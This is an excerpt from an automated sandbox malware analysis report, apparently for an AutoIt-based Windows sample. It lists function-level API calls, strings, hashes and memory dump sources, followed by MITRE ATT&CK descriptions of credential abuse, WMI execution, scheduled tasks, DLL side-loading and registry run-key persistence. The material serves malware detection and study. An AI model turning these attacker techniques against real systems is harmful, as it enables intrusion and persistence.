LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,006A301A,006713C6,00000000,00000000,00000000,?,006A328B,00000006,FlsSetValue,00712290,FlsSetValue,00000000), ref: 006A30BF

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 6d6724c7910ff8954a6222d7ab15c87ee31a24a678ae46d9388c64447203b192
Instruction ID: 87d07e5a72c7b89641e273f09e4b467bdebea55dce233ec0377b87f718216b5f
Opcode Fuzzy Hash: 6d6724c7910ff8954a6222d7ab15c87ee31a24a678ae46d9388c64447203b192
Instruction Fuzzy Hash: 7D01F732301332EBCB319B799C449977B9AAF07BA1B208720F905E7380CB25DD01CAE4

Function 006D2DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 006D2DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 006D2DD6
GetCurrentThreadId.KERNEL32 ref: 006D2DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 006D2DE4

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 806fa67157c03c18201fc8cb566045d2b8ef4b312fb39c18ef73c22943b2907f
Instruction ID: 4fdd61997fa18cb6a346b43d3121e4ec08fb1ff3e92cfd9a76a53b948369dbf4
Opcode Fuzzy Hash: 806fa67157c03c18201fc8cb566045d2b8ef4b312fb39c18ef73c22943b2907f
Instruction Fuzzy Hash: CEE092B1501224BBD7315B729C0EFEB7E6EEF96BA1F004316F105D11809EA9C841C6B0

Function 00708863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00689639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00689693
Part of subcall function 00689639: SelectObject.GDI32(?,00000000), ref: 006896A2
Part of subcall function 00689639: BeginPath.GDI32(?), ref: 006896B9
Part of subcall function 00689639: SelectObject.GDI32(?,00000000), ref: 006896E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00708887
LineTo.GDI32(?,?,?), ref: 00708894
EndPath.GDI32(?), ref: 007088A4
StrokePath.GDI32(?), ref: 007088B2

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: f055b61192321cd29d024c6d34b94b389c61b5ff649454ec5b7b7590596ae458
Instruction ID: 433806c6cd8e4c663475daaa991da80b0505b75db61312975b0acf19c2503e2e
Opcode Fuzzy Hash: f055b61192321cd29d024c6d34b94b389c61b5ff649454ec5b7b7590596ae458
Instruction Fuzzy Hash: 01F03A36041258FAEB136F94AC09FCA3E59AF06310F44C201FA11651E1CBB95551DBE9

Function 006E4D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00677620: _wcslen.LIBCMT ref: 00677625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 006E4ED4

Strings

LPT, xrefs: 006E4DFB
*, xrefs: 006E4E10

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: b9ad87e8329c9a8d23c0dfc4de5c31b0bf1fb44e4794fe6b434bea92bbd859fa
Instruction ID: 657a00c8fef383a14a45a23f8a323f8d27d1a6f9065b2934310a6c3c5ebebd1a
Opcode Fuzzy Hash: b9ad87e8329c9a8d23c0dfc4de5c31b0bf1fb44e4794fe6b434bea92bbd859fa
Instruction Fuzzy Hash: 25918175A012449FDB14DF65C484EAABBF2BF84704F18809DE80A9F362CB35ED85CB91

Function 0069E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0069E30D

Strings

pow, xrefs: 0069E2E5, 0069E302

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 710cee4a7dc7609cd123b3d99121ec68d9f9a7cde1a84a2b46d7742662117be2
Instruction ID: c5bcdb747189de4208257a62bf4bebaaf1c277fc11c54ae588161124fa6613b9
Opcode Fuzzy Hash: 710cee4a7dc7609cd123b3d99121ec68d9f9a7cde1a84a2b46d7742662117be2
Instruction Fuzzy Hash: E8513B61A0C20296CF15B718CD013F93BEEEF41740F748D69E095427EAEB368D969E4A

Function 0068E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 0068E1B1

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: a274a0a0779338ba89815ba82c07264c40002e346f1b6731232be186aef97803
Instruction ID: 4a8e319cccdcf8f995574926788dd6f1e7864de1726ad0b75d04f55fa2c0ba38
Opcode Fuzzy Hash: a274a0a0779338ba89815ba82c07264c40002e346f1b6731232be186aef97803
Instruction Fuzzy Hash: DB511335500246DFDB15EF28C491AFA7BB6EF25310F248159E8919B390DA369E43CBA0

Function 00704537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 0070461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00704634

Strings

', xrefs: 0070458E

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: a428897fae623c181d0174767a431a04364768d01ecf9f42951bacff054565e5
Instruction ID: 5d6dd8c435de3d0232793154759a2e383d9cd8d8182ce985f5a5e832780e1048
Opcode Fuzzy Hash: a428897fae623c181d0174767a431a04364768d01ecf9f42951bacff054565e5
Instruction Fuzzy Hash: 123127B5A01209DFDB14CFA9C980BDA7BF5FF49300F10416AEA04AB381E775A951CF90

Function 006ECD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 006ECD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 006ECDA6

Strings

<local>, xrefs: 006ECD66

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: a3b063257298f4fee9b3ece8ec98a2d68826a830106e4f1af4b825f6f0a791a2
Instruction ID: 29a35a9c926faef69157483d5b35b10a4c423e878ba18404edcca6296bce2e2b
Opcode Fuzzy Hash: a3b063257298f4fee9b3ece8ec98a2d68826a830106e4f1af4b825f6f0a791a2
Instruction Fuzzy Hash: 3F11C271206771BAD7384B678C49EE7BEAEEF527B4F00422AB10983180D7769842D6F0

Function 006D6C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00679CB3: _wcslen.LIBCMT ref: 00679CBD

CharUpperBuffW.USER32(?,?,?), ref: 006D6CB6
_wcslen.LIBCMT ref: 006D6CC2

Strings

STOP, xrefs: 006D6CBC, 006D6CC1

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 114d275ff948d10c4ef51529d2380f29df893b15ee3cb0d91eab667cb0d42bd2
Instruction ID: b7da242472b0479b2bc52e47365ef324eaaa8636b9f5b4e410ec808ae10501f8
Opcode Fuzzy Hash: 114d275ff948d10c4ef51529d2380f29df893b15ee3cb0d91eab667cb0d42bd2
Instruction Fuzzy Hash: 8601C432E145278ACB219FBDDC819FF77B7EF61710710052AF85296391EA35D901C650

Function 0068A4D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0068A529

Part of subcall function 00679CB3: _wcslen.LIBCMT ref: 00679CBD

Strings

,%t, xrefs: 0068A509
3yl, xrefs: 0068A545, 0068A54D, 0068A552

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Init_thread_footer_wcslen
String ID: ,%t$3yl
API String ID: 2551934079-2110182000
Opcode ID: 802f4e3b16015162c114dabd785f7d05a0901561baf361ab54adc8534ccc76b9
Instruction ID: f923746ba7ee8dbe3c3f33cee556628f27b6f087615ecf9eebc2f5a0be25da18
Opcode Fuzzy Hash: 802f4e3b16015162c114dabd785f7d05a0901561baf361ab54adc8534ccc76b9
Instruction Fuzzy Hash: F8012B317006109BEA04F7A8D81BA9D73ABDB05710F50426EF905572C3DF645D428BAF

Function 00708172 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00743018,0074305C), ref: 007081BF
CloseHandle.KERNEL32 ref: 007081D1

Strings

\0t, xrefs: 0070818A

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \0t
API String ID: 3712363035-315198736
Opcode ID: 20b86d8cb5554909b0ab7e39c25eed8db1b51fd9858a37053c1d23ce03e0d935
Instruction ID: 3ec7e80eda04f39d2082f7ea7f465d65c09c3dcb05f2b6d29c7cb1a7cf988cb1
Opcode Fuzzy Hash: 20b86d8cb5554909b0ab7e39c25eed8db1b51fd9858a37053c1d23ce03e0d935
Instruction Fuzzy Hash: 03F05EB5640304BAF7206761AC45FB77A9EDB05750F008626BB0CD61B2D77E8A0082BD

Function 006D0B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 006D0B23

Strings

AutoIt, xrefs: 006D0B17
Error allocating memory., xrefs: 006D0B1C

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 0f9330a6f1f960f2e8457b2052834e1d40f5d820ed0faf0e97183e3b5a7c910c
Instruction ID: 48bc33df4ec890a23a3d6c981182329975b32786df0e240bb65c7cee553cb16a
Opcode Fuzzy Hash: 0f9330a6f1f960f2e8457b2052834e1d40f5d820ed0faf0e97183e3b5a7c910c
Instruction Fuzzy Hash: 53E0D832244308B6E2553754BC07FC97BC58F05B51F10462FF748955C38ED6249046AD

Function 00690D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0068F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00690D71,?,?,?,0067100A), ref: 0068F7CE

IsDebuggerPresent.KERNEL32(?,?,?,0067100A), ref: 00690D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0067100A), ref: 00690D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00690D7F

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: e2b1c92d00ece44d71a11aa76a43953c7c7c532d0d211ffd4116ab3fc8679368
Instruction ID: 84d08cba9686107ffa1b778a145251560400b4e5d265fe0c4dfadbd5781e3352
Opcode Fuzzy Hash: e2b1c92d00ece44d71a11aa76a43953c7c7c532d0d211ffd4116ab3fc8679368
Instruction Fuzzy Hash: A7E0E574200751CFE7719F78D8047467BE5BF14744F008B2DE495C6A51DBB9E4488B95

Function 0068E398 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0068E3D5

Strings

8%t, xrefs: 0068E3CA
0%t, xrefs: 0068E3B5

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Init_thread_footer
String ID: 0%t$8%t
API String ID: 1385522511-3566158117
Opcode ID: c6751414d57b6b24c93a67b00644b7c0f6f7a20d700845a1f27cb42980dc9835
Instruction ID: 59e153d56623755417a78dbd24c9b2578d5d4c12cd231532948f9ebd29b700bc
Opcode Fuzzy Hash: c6751414d57b6b24c93a67b00644b7c0f6f7a20d700845a1f27cb42980dc9835
Instruction Fuzzy Hash: 8FE02639508D10CFCA04B718B854A88B35BEB06320B9042FAF102872D3DB392C63874C

Function 00702356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0070236C
PostMessageW.USER32(00000000), ref: 00702373

Part of subcall function 006DE97B: Sleep.KERNEL32 ref: 006DE9F3

Strings

Shell_TrayWnd, xrefs: 00702365

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: f90b3d50f566237a22fa4b7b694f1ee596aa806da4cf3f0aa3906a45c069a2ea
Instruction ID: dc56aaf86460a58cf71506c165c9a5b7d6318b27ad9448f60ddaa372c8b6c3f4
Opcode Fuzzy Hash: f90b3d50f566237a22fa4b7b694f1ee596aa806da4cf3f0aa3906a45c069a2ea
Instruction Fuzzy Hash: FED0A972781300BAE2A8B3309C0FFC666089B00B04F108B067201AA1D0C8A9A8008A58

Function 00702322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0070232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0070233F

Part of subcall function 006DE97B: Sleep.KERNEL32 ref: 006DE9F3

Strings

Shell_TrayWnd, xrefs: 00702325

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 3051555868429f236be361eda1b175ae5e93d83f3aedc2a3c5fd58af8fbf2ef4
Instruction ID: 86fd1a057ade134631c4dcf0a8456e93ad79aed1458a53bacfa16168b411b268
Opcode Fuzzy Hash: 3051555868429f236be361eda1b175ae5e93d83f3aedc2a3c5fd58af8fbf2ef4
Instruction Fuzzy Hash: 0DD0A976780300B6E2A8B3309C0FFC66A089B00B04F108B067205AA1D0C8A9A8008A58

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

